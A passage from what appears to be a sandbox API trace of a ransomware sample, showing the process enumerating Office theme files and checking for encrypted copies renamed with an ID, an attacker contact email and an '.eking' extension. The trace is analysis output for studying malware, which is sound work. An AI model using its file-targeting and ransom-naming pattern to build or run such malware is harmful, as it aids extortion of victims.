shared\\themes14\\breeze\\breeze.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.756] SetEvent (hEvent=0x174) returned 1 [0173.757] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0173.757] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=2722) returned 1 [0173.757] CloseHandle (hObject=0x1e4) returned 1 [0173.757] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif")) returned 0x20 [0173.757] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif")) returned 0x20 [0173.758] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0173.758] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.758] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0173.759] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=43276) returned 1 [0173.759] CloseHandle (hObject=0x1e4) returned 1 [0173.759] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png")) returned 0x20 [0173.759] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png")) returned 0x20 [0173.760] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0173.760] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.760] SetEvent (hEvent=0x174) returned 1 [0173.760] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0173.761] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=44745) returned 1 [0173.761] CloseHandle (hObject=0x1e4) returned 1 [0173.761] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.elm")) returned 0x20 [0173.761] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.elm")) returned 0x20 [0173.761] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.elm.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0173.761] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.761] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0173.763] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=465) returned 1 [0173.763] CloseHandle (hObject=0x1e4) returned 1 [0173.763] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.inf")) returned 0x20 [0173.763] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.inf")) returned 0x20 [0173.763] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.inf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0173.763] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.765] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0173.766] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=945) returned 1 [0173.766] CloseHandle (hObject=0x1e4) returned 1 [0173.766] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif")) returned 0x20 [0173.766] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif")) returned 0x20 [0173.766] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0173.767] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.767] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0173.767] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=32607) returned 1 [0173.767] CloseHandle (hObject=0x1e4) returned 1 [0173.767] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png")) returned 0x20 [0173.768] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png")) returned 0x20 [0173.768] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0173.768] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.768] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\capsules.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0173.769] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=57786) returned 1 [0173.769] CloseHandle (hObject=0x1e4) returned 1 [0173.769] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\capsules.elm")) returned 0x20 [0173.769] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\capsules.elm")) returned 0x20 [0173.769] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\capsules.elm.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0173.770] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\capsules.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.770] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\capsules.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0173.770] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=501) returned 1 [0173.770] CloseHandle (hObject=0x1e4) returned 1 [0173.770] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\capsules.inf")) returned 0x20 [0173.771] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\capsules.inf")) returned 0x20 [0173.771] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\capsules.inf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0173.771] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\capsules.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.771] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0173.772] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=2044) returned 1 [0173.772] CloseHandle (hObject=0x1e4) returned 1 [0173.772] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif")) returned 0x20 [0173.772] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif")) returned 0x20 [0173.772] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0173.772] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.773] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0173.773] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=29925) returned 1 [0173.773] CloseHandle (hObject=0x1e4) returned 1 [0173.773] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png")) returned 0x20 [0173.774] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png")) returned 0x20 [0173.774] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0173.774] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.774] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\cascade.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0173.775] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=47684) returned 1 [0173.775] CloseHandle (hObject=0x1e4) returned 1 [0173.775] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\cascade.elm")) returned 0x20 [0173.775] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\cascade.elm")) returned 0x20 [0173.775] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\cascade.elm.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0173.775] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\cascade.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.776] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\cascade.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0173.778] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=610) returned 1 [0173.778] CloseHandle (hObject=0x1e4) returned 1 [0173.778] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\cascade.inf")) returned 0x20 [0173.778] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\cascade.inf")) returned 0x20 [0173.778] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\cascade.inf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0173.778] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\cascade.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.778] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0173.779] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=1363) returned 1 [0173.779] CloseHandle (hObject=0x1e4) returned 1 [0173.779] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif")) returned 0x20 [0173.779] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif")) returned 0x20 [0173.779] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0173.779] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.779] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0173.780] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=20371) returned 1 [0173.780] CloseHandle (hObject=0x1e4) returned 1 [0173.780] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png")) returned 0x20 [0173.780] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png")) returned 0x20 [0173.780] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0173.780] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.780] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\compass.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0173.782] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=54803) returned 1 [0173.782] CloseHandle (hObject=0x1e4) returned 1 [0173.782] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\compass.elm")) returned 0x20 [0173.782] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\compass.elm")) returned 0x20 [0173.782] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\compass.elm.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0173.782] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\compass.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.783] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF" (normalized: "c:\\program files\\common files\\microsoft 